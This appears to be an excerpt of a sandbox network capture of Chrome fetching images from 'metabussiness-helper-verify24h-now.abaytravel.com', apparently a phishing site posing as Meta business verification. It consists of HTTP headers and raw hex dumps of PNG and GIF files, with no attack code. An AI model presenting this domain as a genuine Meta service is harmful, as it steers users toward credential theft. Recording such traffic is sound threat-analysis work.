2025-03-13 09:50:35 UTC	8000	IN	Data Raw: 50 ac 94 47 0f ed 5d bc 34 15 b7 db 85 62 b1 6f db 68 b1 18 65 8f e2 0d 3f 9d 42 62 6f 7f 0e 3d 4b e6 d5 47 4d ab ac 4c 5c 4e af 31 97 6b 0e d1 34 5a e5 23 27 17 b7 8d 46 a2 25 88 68 0d f3 46 db fb 79 61 de bd ca c0 26 a2 09 19 d0 81 40 20 10 b8 c9 c9 3b 85 01 8c 54 37 7a 87 de 6c 6f dd 0d 2f 31 a7 96 e7 7c e6 6f be 38 b4 04 90 b4 db 66 29 e6 e4 12 67 6a 5c 6c 15 ea 6d 17 a5 d7 09 b6 e8 aa 6a 80 e9 34 7d e7 53 5b 5b 5d 74 43 61 e4 3a fd f9 00 41 d1 f7 b3 91 61 a9 3e d1 33 ff 0a 56 e8 ec 7e f0 f6 eb af 0d be 3c d5 63 80 42 84 bf f5 fd 8f 22 57 46 a6 dd 6e 7c 2e 62 fe aa 78 bd 8f e1 f4 c5 f9 cf 3e 79 06 30 52 92 cc 9d 92 6d a7 4b 67 8d a4 7b ef 38 f0 fe 77 df 9f 1f 37 05 02 81 c0 f5 27 08 d0 81 40 17 b3 77 d7 96 43 87 f6 3e f3 cc cb 62 24 d8 54 59 bd f6 ea Data Ascii: PG]4bohe?Bbo=KGML\N1k4Z#'F%hFya&@ ;T7zlo/1\|o8f)gj\lmj4}S[[]tCa:Aa>3V~<cB"WFn\|.bx>y0RmKg{8w7'@wC>b$TY

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49752	103.176.25.236	443	6152	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-13 09:50:33 UTC	693	OUT	GET /img/save_img.png HTTP/1.1 Host: metabussiness-helper-verify24h-now.abaytravel.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://metabussiness-helper-verify24h-now.abaytravel.com/meta-community-standard.php Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-13 09:50:34 UTC	256	IN	HTTP/1.1 200 OK Date: Thu, 13 Mar 2025 09:50:29 GMT Server: Apache Upgrade: h2 Connection: Upgrade, close Last-Modified: Thu, 23 May 2024 15:28:32 GMT ETag: "1d7e-61920b4216800" Accept-Ranges: bytes Content-Length: 7550 Content-Type: image/png
2025-03-13 09:50:34 UTC	7550	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 78 00 00 00 78 08 03 00 00 00 0e ba c6 e0 00 00 02 fa 50 4c 54 45 c3 e2 c9 b5 dc bb b0 da b8 a9 d6 b2 a6 d4 ae a2 d2 aa 9d d0 a6 9a cf a4 98 ce a3 c3 e1 c9 99 cf a2 ef bc 57 fc f2 df fc f4 e3 fc f2 e1 fb ec d0 ac 4d 00 fc f1 dc ff f5 df ff f9 e4 fa e6 bf ff ff ef ff ff f7 ff fd ea f8 e2 b7 eb dc c6 c3 af 9a 96 7c 6b 7e 60 50 a8 8f 7b ce c0 aa fd f1 dd e1 d3 be 8c 6d 57 4e 27 15 37 0f 03 3e 16 07 55 2e 18 5f 39 26 fc f1 da 48 20 10 2d 07 00 43 1b 0a 6c 49 34 ff f4 da 24 01 00 4a 23 12 f8 c9 54 d9 ca b3 45 1f 0f af 99 87 f7 ed da a0 75 4b ea b9 47 7f 56 35 f2 c1 7f eb bb 7b ac 87 54 91 67 42 de ae 73 e3 b4 77 de af 73 de b0 75 d9 ab 71 de ad 6e be e0 c4 e2 ac 68 b2 f0 d9 bb de c1 b8 dd bf b2 60 16 b6 Data Ascii: PNGIHDRxxPLTEWM\|k~`P{mWN'7>U._9&H -ClI4$J#TEuKGV5{TgBswsuqnh`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49755	103.176.25.236	443	6152	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-13 09:50:36 UTC	432	OUT	GET /img/loadingLogo.gif HTTP/1.1 Host: metabussiness-helper-verify24h-now.abaytravel.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-13 09:50:37 UTC	261	IN	HTTP/1.1 200 OK Date: Thu, 13 Mar 2025 09:50:32 GMT Server: Apache Upgrade: h2 Connection: Upgrade, close Last-Modified: Tue, 17 Dec 2024 14:39:57 GMT ETag: "133319-6297845600940" Accept-Ranges: bytes Content-Length: 1258265 Content-Type: image/gif
2025-03-13 09:50:37 UTC	7931	IN	Data Raw: 47 49 46 38 39 61 80 07 38 04 f7 ff 00 d1 45 ce 50 d2 6f a8 33 f6 91 99 aa fc d7 a7 f5 a6 e2 f1 52 96 26 77 d5 fe 6a 6c 44 4f 55 ec cc 32 d3 d1 4a da 46 b8 b1 d7 fd b4 49 d9 dc dd ef f6 b2 4a 93 eb b2 4c 6d f6 b6 f4 ff f7 a2 a5 93 d2 fd 22 33 44 ad d0 4e 28 77 f6 bb bb cc 6e b3 fc 2a 6e b7 26 88 f2 34 44 47 ae 02 57 ff fd d0 cb 33 d7 bb cc cd f3 cc 4b 6e 50 fd af 50 ac fd 94 4e b4 fc d3 8e 49 f6 f8 b6 32 55 66 67 fc d6 f9 49 97 f1 8d bb f4 ee 48 a7 4f 55 62 4d 8a d0 77 aa d2 6e 67 ee fc 91 2c cc 08 53 6b 99 d2 53 d6 88 fa 71 06 6d d1 8e ae 0c 20 fc 8d 6b 50 ac fe f2 4e 01 fd 8f 04 b0 48 ee ff cd d0 8b b1 df 2e 88 d9 fc b1 79 ff b9 03 d7 03 08 92 4f d7 4d 70 d5 93 67 d8 d2 00 2c 45 77 b7 74 cd ff fb 70 49 cc ff dc fc 6f 2a f0 2c 02 99 bb 97 db 33 b8 ff 55 Data Ascii: GIF89a8EPo3R&wjlDOU2JFIJLm"3DN(wnn&4DGW3KnPPNI2UfgIHOUbMwng,SkSqm kPNH.yOMpg,EwtpIo,3U
2025-03-13 09:50:37 UTC	8000	IN	Data Raw: 1f e8 b0 e1 82 f7 43 a5 24 87 b3 9d 91 a3 96 28 16 48 16 7f 34 4e c9 c9 1f 43 10 59 a1 57 6a 12 a8 de 10 fe 3b 85 17 22 21 02 d1 aa 94 97 ca 28 cb 98 05 32 39 de 90 b6 3a e0 2c b3 c4 02 2b e8 b9 e4 74 05 08 65 d8 0a 49 1a 9f c9 3c 53 ce 61 ec 3a 39 a4 bd 88 10 ff e0 cf ab b3 d6 fa 2f 42 ff 4c cc d0 42 1b 03 c0 d1 16 26 ab 6c d2 cd 34 a3 c2 57 fd ca a8 c3 d3 1d ea 20 40 3b 8c 9a f1 c1 54 1c 86 d0 5b ef 23 86 50 75 d5 40 88 f3 27 56 df 58 b9 95 39 15 7e 03 63 d7 5e a1 85 6e 19 e9 ae b9 16 1a 64 a1 13 76 99 00 de d8 26 1c fd 4e 81 a6 9f 65 62 a1 76 99 f4 9a 63 06 5c d4 53 47 fd 15 9e 5b 77 fd 75 d8 63 97 7d 76 da 6b b7 fd f6 8a 26 d4 11 dd 56 08 16 68 00 f0 5a 2c ca 9b a9 2f 5a e5 47 4f 7a f1 2f 84 5c 0e 6a 4e f8 97 ae 24 f7 f8 1a 8b a7 48 18 17 3d b4 de 1f Data Ascii: C$(H4NCYWj;"!(29:,+teI<Sa:9/BLB&l4W @;T[#Pu@'VX9~c^ndv&Nebvc\SG[wuc}vk&VhZ,/ZGOz/\jN$H=
2025-03-13 09:50:37 UTC	8000	IN	Data Raw: 6b 2a 00 da c9 e6 5f 48 c3 46 70 04 d4 90 22 60 54 a0 0d 2d 03 99 a4 ff 28 4b 80 9b d9 84 c9 91 d5 40 0f 19 46 2b f4 4d 72 06 8e 31 f0 a7 74 6e 29 97 76 a9 97 c2 a0 20 d1 e0 63 90 ce eb f4 54 60 0c 40 ed 08 a8 4e 7c 17 55 7e 8b e7 04 83 2c 84 c0 2e 00 03 36 c8 87 30 60 03 30 f4 c2 2c a0 29 80 9e 65 59 5e 28 b2 e8 96 a0 06 2a a1 0e aa a1 7a 82 2d 44 e1 5c 78 4b 44 79 83 3d 0c c0 00 3c 6a a4 42 aa a4 56 2a a5 42 6a 2e a4 8b 17 e5 e7 56 09 83 77 b2 a3 58 ce 42 2b 3c 00 30 40 c8 c1 61 c3 03 b4 c2 9e 6e 46 ab 44 54 a2 fe 45 ea 81 aa e9 cc 42 2f 94 2a 84 40 08 30 a4 ea 2c 68 ea c9 19 a3 a9 7e a3 19 e2 05 9f ca 99 6b 30 29 78 c8 4b 25 85 5a fa cd d7 66 2a c4 27 69 cf b2 96 c7 0b a0 a8 b1 a2 c5 29 bc 40 68 8e 43 46 ba 28 47 ce 5a fd 95 cc 22 8a a4 59 81 1d 62 20 Data Ascii: k_HFp"`T-(K@F+Mr1tn)v cT`@N\|U~,.60`0,)eY^(z-D\xKDy=<jBVBj.VwXB+<0@anFDTEB/@0,h~k0)xK%Zf*'i)@hCF(GZ"Yb
2025-03-13 09:50:37 UTC	8000	IN	Data Raw: ec 17 31 9e d3 03 80 f9 0e 22 e4 15 15 53 ec b1 f3 b5 2c 20 06 a1 94 fd 0f 06 1c f3 7e 58 b6 e2 49 df e3 d7 03 5e 5c 98 e5 ff 9e f7 69 7f ce 0f 74 e9 5a 02 9c 50 be f5 04 2d a1 87 c9 a0 a3 ef be 42 c2 3f 39 f3 f1 f2 0f c4 fd 70 26 62 7a a2 2b a1 1c e0 51 f3 24 39 df 3f cc f7 be 82 e4 ac 80 56 8a 9f dc e4 d4 8b 84 e8 e5 7e 06 d1 c5 d5 10 38 13 fe 0d c4 34 2b e8 48 f8 46 22 80 11 08 80 82 d7 68 1f 4f a0 01 aa c3 6d c8 23 0a 6c c8 ee 60 e2 aa 15 86 64 15 7a 49 92 9c 5c a8 22 71 31 6d 40 78 ca df 3f 86 c1 11 3d e9 f0 24 23 70 1f a8 ff fc f6 14 ce 65 85 78 16 a1 61 61 52 28 1a 24 92 e5 86 06 81 e2 42 f4 e2 b0 5f 48 31 39 10 4c 0e 00 0f 12 3b 8b d8 c9 24 23 38 c1 40 c4 88 be 2c dd 20 00 ac 29 8a 1f 48 38 22 26 1a c4 58 6e 1c 8a 12 fd 32 c7 99 70 28 8b 42 99 55 Data Ascii: 1"S, ~XI^\itZP-B?9p&bz+Q$9?V~84+HF"hOm#l`dzI\"q1m@x?=$#pexaaR($B_H19L;$#8@, )H8"&Xn2p(BU
2025-03-13 09:50:37 UTC	8000	IN	Data Raw: 0c 81 c6 1b 31 72 8d 65 04 e0 1f 8a e8 83 fc 90 58 c5 3d 2e 64 3f 9c b8 01 41 4c 40 10 3d 1a f2 91 1a 71 a4 3f 0a 09 c9 4a 3e e4 14 e1 80 48 40 00 00 21 f9 04 05 03 00 ff 00 2c 1f 04 ff 01 13 01 3e 00 00 08 ff 00 ff 09 1c 48 b0 e0 40 6c 2c 90 20 f9 e7 ca a0 c3 87 10 23 4a 9c 48 b1 a2 c5 8b 18 33 6a dc c8 b1 a3 c7 87 55 04 62 98 88 a1 61 44 0d 1f 53 aa 5c c9 b2 a5 cb 97 1b fd 09 ac 52 64 d8 48 93 26 0d 9a 2c 39 52 e7 81 03 30 83 0a 1d 4a b4 28 d1 61 03 4d 86 72 b8 b4 64 d2 81 3c 09 02 32 4a b5 aa d5 ab 56 73 fe 0b e5 8a a7 ab a5 0c 05 36 2c 19 ea 66 d8 b3 ff 90 62 5d cb b6 ad db 87 fe a2 fd ab 19 15 ea d7 a4 4e ff 61 00 2b 76 a4 5f bd 6f 03 0b 1e 8c 15 a9 d6 b3 4a 07 f2 25 db 13 27 62 c2 90 23 4b de 28 57 a4 41 ae 7c 71 e6 dc 6c f7 ef d6 c9 a0 43 8b 7e e8 Data Ascii: 1reX=.d?AL@=q?J>H@!,>H@l, #JH3jUbaDS\RdH&,9R0J(aMrd<2JVs6,fb]Na+v_oJ%'b#K(WA\|qlC~
2025-03-13 09:50:38 UTC	8000	IN	Data Raw: 43 21 b2 1e 1d 86 1e 66 b7 88 15 51 0f 12 f0 0f 71 b0 99 27 e9 98 5d f9 0f 60 b9 8b 0f 11 67 28 f6 92 03 41 5f c4 c1 79 80 a4 13 95 84 17 ca a5 11 7c 19 15 b3 89 15 78 b1 56 10 71 0a c5 50 2b 6c 51 9b 3a 91 68 fd 21 97 50 01 8e 48 44 5a 73 c2 0e 3a 00 08 1a 80 0e 02 81 0e a8 a4 3b bd 00 03 e8 a0 01 ca 09 08 2b 90 98 ef 61 54 bd 01 6f 35 68 10 5e 40 10 2b 29 01 31 ff 50 01 b9 26 9a a2 b9 92 31 00 96 64 d9 10 b5 46 10 34 06 8c 38 86 6f 3f 85 89 50 41 77 5f d2 81 fe 10 91 48 c7 16 c2 f9 16 0f 20 2c c9 11 11 bf d2 9f a6 08 29 59 b4 77 82 21 4a 47 d4 61 24 c8 26 8f 93 49 c2 47 1f 45 34 75 88 21 80 d5 b3 1e bc b7 18 0d 10 72 1e 41 4a e6 89 10 e1 d9 99 9c 19 9a 2c 69 62 03 21 4e f8 88 63 ce 65 93 76 47 37 dc c7 70 ac a7 20 dd e9 16 be e9 58 e8 d7 0b b4 55 a3 a4 Data Ascii: C!fQq']`g(A_y\|xVqP+lQ:h!PHDZs:;+aTo5h^@+)1P&1dF48o?PAw_H ,)Yw!JGa$&IGE4u!rAJ,ib!NcevG7p XU
2025-03-13 09:50:38 UTC	8000	IN	Data Raw: 36 20 aa b6 5d 7c 93 0a c0 c6 7f c4 e8 a3 20 3d 0a ea 66 23 9a 82 8c a8 55 e4 fe 12 ca 26 23 a9 2b f6 de a8 6e 4d 0a 58 99 74 41 2c 5f 94 ba 32 2b 56 4d 6b fd ae bf 8b 65 6d 38 32 61 64 a1 b8 af 4f 3f be f2 29 8c 37 ca 12 a2 85 d7 93 65 d7 c8 94 8d 68 b1 a2 ba 1a d6 af 27 5b 96 e9 94 06 aa 58 2d 33 11 5b 73 a5 ce 70 1d 64 c1 b2 73 0b 0a 25 dd 61 00 69 80 2a 88 63 6c ff 67 b7 82 38 78 01 23 8b 24 90 e8 1e 9f 0d 42 41 88 b0 65 b2 d4 a0 6b 06 2e e8 6c 89 30 ed 4f 5a 84 8f 43 93 ba 5d 8c b1 28 6e 94 88 8c 79 a5 bb da 52 53 a7 59 6a 29 db a2 57 a5 9b 48 28 95 55 3e 3c c5 aa cd 62 ca aa f5 4a 8d c8 e2 c1 93 84 16 e5 fe ac c3 cd 66 b5 98 2d ea 01 5b ea 33 b5 20 a2 7e e9 b5 f2 94 b0 c9 f6 5c 85 44 fc 36 e9 5d c9 95 73 a0 d5 40 33 b1 ea 76 6f a1 48 02 2f 0a 4a 24 Data Ascii: 6 ]\| =f#U&#+nMXtA,_2+VMkem82adO?)7eh'[X-3[spds%ai*clg8x#$BAek.l0OZC](nyRSYj)WH(U><bJf-[3 ~\D6]s@3voH/J$
2025-03-13 09:50:38 UTC	8000	IN	Data Raw: 7f 70 25 50 f0 59 ca 77 b4 62 dd 74 26 8e 27 5c ff 11 1d 77 b0 e1 85 17 f8 f3 3e 00 fd 27 9f 02 aa ba 88 e4 0c 76 05 21 82 40 46 dc 11 7c fc 23 b0 38 06 cb 12 fe 71 8d 6b 5c 46 69 8f 2d c8 82 8d 23 dc 22 3d 00 bf 1d 91 1f 9b af 0a 96 8d 26 b5 20 05 06 4c 63 13 d2 61 9a d0 cf 5d ab 15 1a f6 bc d6 19 6b 45 e6 44 5f de ac f6 14 02 e0 9a ac 62 22 0f 86 4d 30 80 31 67 c2 30 04 3a 2e e9 05 a3 17 d2 0a 5b a8 f2 a7 53 eb 17 8c 61 2b 3d fe 69 cf cd 32 3c 85 1a ee d4 13 f2 9c 75 51 81 24 0a 59 0d 69 38 59 37 d7 9e 09 39 80 06 28 e5 69 9a 40 a4 08 40 b0 2b a3 78 42 e5 ba 6a 4a 41 e6 4d 88 96 05 a0 97 43 48 c3 1f 13 ad 8c 08 c8 0c 96 af 74 03 1c 69 9e 89 ae d0 88 e9 ce 14 c7 6d 56 14 4c 83 7d 64 a5 c8 46 24 8c 3a 14 48 9c fc 72 8a d5 66 66 d5 7f 46 63 84 03 98 51 36 Data Ascii: p%PYwbt&'\w>'v!@F\|#8qk\Fi-#"=& Lca]kED_b"M01g0:.[Sa+=i2<uQ$Yi8Y79(i@@+xBjJAMCHtimVL}dF$:HrffFcQ6
2025-03-13 09:50:38 UTC	8000	IN	Data Raw: 25 4b 97 2c 82 3f 71 25 eb 29 94 a8 4f 59 b8 fe 01 ab 49 d3 5f 44 82 df 04 7a 2c 29 b2 2a 49 ab 03 89 cd b4 85 ad a9 c0 5e 08 a5 0a 1c fb af d5 57 b4 04 65 41 94 aa b1 6d d3 98 0a 35 32 4d 8b d6 9f ad 97 09 89 9d 4a bb 0a 6a c2 9d 03 03 ff fb 96 f7 5f ad b8 75 15 2f ae 79 8a c6 01 0c ae 5c 09 74 15 ea 5f e4 cb 92 ff ad 68 10 ed c1 3f cf ff 3e 3f 08 ed d9 b3 d7 07 d8 52 93 fe 71 60 18 06 cb b0 05 5a 9e 6c f9 c0 ff 8a 5b a7 fc f9 63 ac 50 cd bf 7a 23 e2 c4 18 3e b0 de ef 81 d2 06 c6 20 c8 fc de 3f de 0a 17 11 51 e8 40 20 08 00 00 ac 0b 2c d0 db fb 77 f0 e1 2b 1a 24 eb 12 ec e7 7f bb 1e ec 5a f5 59 fd bf f6 ec 3f c7 6f 9f 7e d5 3f be 8a 77 25 34 4c 58 7c 30 ba be 3a c5 21 8b f6 12 ef 40 81 ce 2a cf 3f 6f 92 11 66 20 be a2 cb 4f 26 09 a1 0b 2f 3a fe 1e 7a 30 Data Ascii: %K,?q%)OYI_Dz,)I^WeAm52MJj_u/y\t_h?>?Rq`Zl[cPz#> ?Q@ ,w+$ZY?o~?w%4LX\|0:!@?of O&/:z0
2025-03-13 09:50:38 UTC	8000	IN	Data Raw: 7a 2a c3 f2 0f 31 a9 a4 3f 70 33 2a 04 5b ed c7 9d d3 d2 76 5b 1a 97 7c d8 00 3f 50 04 7c 31 26 3e ff a3 5a da b9 2c ae 90 77 eb e9 11 2a b0 08 44 30 11 02 40 04 f1 59 90 de 9a 98 82 87 55 02 c1 00 17 28 2e e0 52 00 94 a9 11 92 f9 0f 7d 3a 3d 22 61 2a b1 a9 a9 22 21 68 d3 06 29 98 a6 10 11 eb 29 30 fa 48 e3 a3 94 88 3a 13 96 f2 6b 7c f3 9b 3b 71 22 8a c2 1d 67 7b 10 8d 66 47 6d 08 11 c0 50 aa 03 e1 0d a7 fa 15 5a 75 36 71 06 11 20 42 45 1f d7 12 6d 21 ab 8c 74 94 b6 ba 71 cf 09 3e d2 78 62 63 e4 9b d6 e9 49 66 39 ad a6 44 ac 62 02 80 b0 f3 9d 58 fa 87 7a 78 b2 07 e0 7f ff a0 0e b3 53 b9 d0 02 5b 07 70 88 64 8a 11 7d 79 90 ff 70 02 ad 7b 90 ae 6b 10 b1 fb 0f 44 10 b4 41 4b 10 6a 1a 98 09 38 78 7b c0 20 1e 59 10 79 ca 11 7c c0 07 3b 30 bc 22 71 04 a5 b8 b1 Data Ascii: z1?p3[v[\|?P\|1&>Z,wD0@YU(.R}:="a"!h))0H:k\|;q"g{fGmPZu6q BEm!tq>xbcIf9DbXzxS[pd}yp{kDAKj8x{ Yy\|;0"q

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49756	103.176.25.236	443	6152	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-13 09:50:36 UTC	430	OUT	GET /img/no_avatar.png HTTP/1.1 Host: metabussiness-helper-verify24h-now.abaytravel.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-13 09:50:37 UTC	256	IN	HTTP/1.1 200 OK Date: Thu, 13 Mar 2025 09:50:32 GMT Server: Apache Upgrade: h2 Connection: Upgrade, close Last-Modified: Thu, 23 May 2024 15:29:06 GMT ETag: "179b-61920b6283480" Accept-Ranges: bytes Content-Length: 6043 Content-Type: image/png
2025-03-13 09:50:37 UTC	6043	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 00 00 00 01 00 08 06 00 00 00 5c 72 a8 66 00 00 00 06 62 4b 47 44 00 ff 00 ff 00 ff a0 bd a7 93 00 00 17 50 49 44 41 54 78 da ed 9d 09 70 5d e5 75 c7 1f fb 12 c2 16 68 c2 52 96 04 32 a4 50 d6 50 36 43 ca 60 37 2c 21 6d 26 90 4e 9a 96 4e 98 4c 09 4d 0a 4d 27 40 67 5a 1a 87 a4 10 28 29 81 34 03 b4 10 62 ed 92 65 c9 5a 2c c9 92 b5 59 b2 b1 6c 61 d9 f2 6e 55 28 89 58 52 08 18 03 66 33 f6 eb ff 48 0f e9 c9 7a 7a 7a cb bd f7 dd e5 77 66 7e 63 0c c6 7a ef dc 73 ce fd be f3 9d 73 be 58 0c 41 10 04 09 87 0c 0c 0c 1c bd 79 f3 e6 33 c5 a5 e2 06 71 8b f8 9e b8 c7 d8 b4 69 d3 03 fa f5 27 fa f5 61 f1 e4 96 2d 5b 9e b0 df 27 b8 ef a3 3f a7 7f ff 5d f1 75 fd f3 3c fd b9 0b 36 6c d8 f0 87 fd fd fd 87 a3 61 04 29 a0 Data Ascii: PNGIHDR\rfbKGDPIDATxp]uhR2PP6C`7,!m&NNLMM'@gZ()4beZ,YlanU(XRf3Hzzzwf~czssXAy3qi'a-['?]u<6la)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49757	103.176.25.236	443	6152	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-13 09:50:36 UTC	688	OUT	GET /img/doc.png HTTP/1.1 Host: metabussiness-helper-verify24h-now.abaytravel.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://metabussiness-helper-verify24h-now.abaytravel.com/meta-community-standard.php Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-13 09:50:37 UTC	256	IN	HTTP/1.1 200 OK Date: Thu, 13 Mar 2025 09:50:32 GMT Server: Apache Upgrade: h2 Connection: Upgrade, close Last-Modified: Thu, 23 May 2024 15:29:20 GMT ETag: "165b-61920b6fdd400" Accept-Ranges: bytes Content-Length: 5723 Content-Type: image/png
2025-03-13 09:50:37 UTC	5723	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 3c 00 00 00 3c 08 06 00 00 00 3a fc d9 72 00 00 16 22 49 44 41 54 78 5e c5 9b 6b ac a5 57 79 df 7f cf 5a 6b ef 7d f6 99 73 9d 61 2e 1e cf d8 78 3c b6 42 cc a5 83 12 15 4c 88 1c 6a 0a 84 02 09 90 96 24 25 55 3f 44 91 7a 51 0b 91 10 97 24 6d 2a 12 a2 88 24 52 a9 d2 2a 10 68 55 11 28 a9 d3 a2 60 e3 d4 2d c1 34 24 84 5b a8 cd 4d b1 0d b6 c7 e3 f1 dc 2f e7 cc 39 67 bf ef bb d6 13 b1 9f 47 6b e9 c8 42 11 02 d4 25 ed 79 df f3 ee f7 dd 7b fd 9f eb ff 79 9e 3d 32 dc f7 f6 53 e4 7e 19 14 44 40 22 48 00 cd 10 46 88 08 5a 7a 44 22 00 84 04 65 80 b4 00 25 a3 b9 03 01 10 44 02 a8 a2 5a 90 38 46 f3 0c b4 80 2a c4 91 9d 4b b0 f7 fa 2d bb 2e c1 5e 28 e4 01 42 b4 fb 8a 9f 2b 10 42 fb ce 3c 80 66 7c b5 fb 11 3b cf bd Data Ascii: PNGIHDR<<:r"IDATx^kWyZk}sa.x<BLj$%U?DzQ$m$RhU(`-4$[M/9gGkB%y{y=2S~D@"HFZzD"e%DZ8F*K-.^(B+B<f\|;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49759	103.176.25.236	443	6152	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-13 09:50:37 UTC	699	OUT	GET /img/meta-logo-grey.png HTTP/1.1 Host: metabussiness-helper-verify24h-now.abaytravel.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://metabussiness-helper-verify24h-now.abaytravel.com/meta-community-standard.php Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-13 09:50:38 UTC	259	IN	HTTP/1.1 200 OK Date: Thu, 13 Mar 2025 09:50:32 GMT Server: Apache Upgrade: h2 Connection: Upgrade, close Last-Modified: Thu, 23 May 2024 15:29:10 GMT ETag: "19c27-61920b6653d80" Accept-Ranges: bytes Content-Length: 105511 Content-Type: image/png
2025-03-13 09:50:38 UTC	7933	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 03 84 00 00 00 f0 08 06 00 00 00 58 15 aa 71 00 00 14 a9 7a 54 58 74 52 61 77 20 70 72 6f 66 69 6c 65 20 74 79 70 65 20 65 78 69 66 00 00 78 da a5 9a 69 96 1b b9 95 85 ff 63 15 5e 02 e6 61 39 00 1e 70 4e ef c0 cb f7 77 41 4a 2e a9 ca c7 5d dd 4c 25 49 91 11 08 e0 0d 77 40 a4 3b ff fc 9f eb fe c1 23 0f 5f 5d 2e ad d7 51 ab e7 91 47 1e 71 f2 a6 fb cf 63 be e7 e0 f3 7b 7e 8f 9e 7d fa 7e fa cb e7 ee 7e cf f1 91 8f 74 48 fa 9e 50 3f af e1 c7 e7 df 13 7e bc 86 c9 bb f2 87 81 fa fe 7e b1 7e fd 62 e4 ef f8 fd b7 81 e2 e7 25 69 46 7a 6f df 81 c6 77 a0 14 3f 5f 84 ef 00 f3 b3 2c 5f 47 6f 7f 5c c2 3a 9f 57 fb b1 92 fe f9 75 7a ca fd d7 69 ff e9 ff 8d e8 59 e1 3a 29 c6 93 42 f2 3c a7 f4 9d 40 d2 6f 72 69 f2 45 e4 Data Ascii: PNGIHDRXqzTXtRaw profile type exifxic^a9pNwAJ.]L%Iw@;#_].QGqc{~}~~tHP?~~~b%iFzow?_,_Go\:WuziY:)B<@oriE
2025-03-13 09:50:38 UTC	8000	IN	Data Raw: 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii:
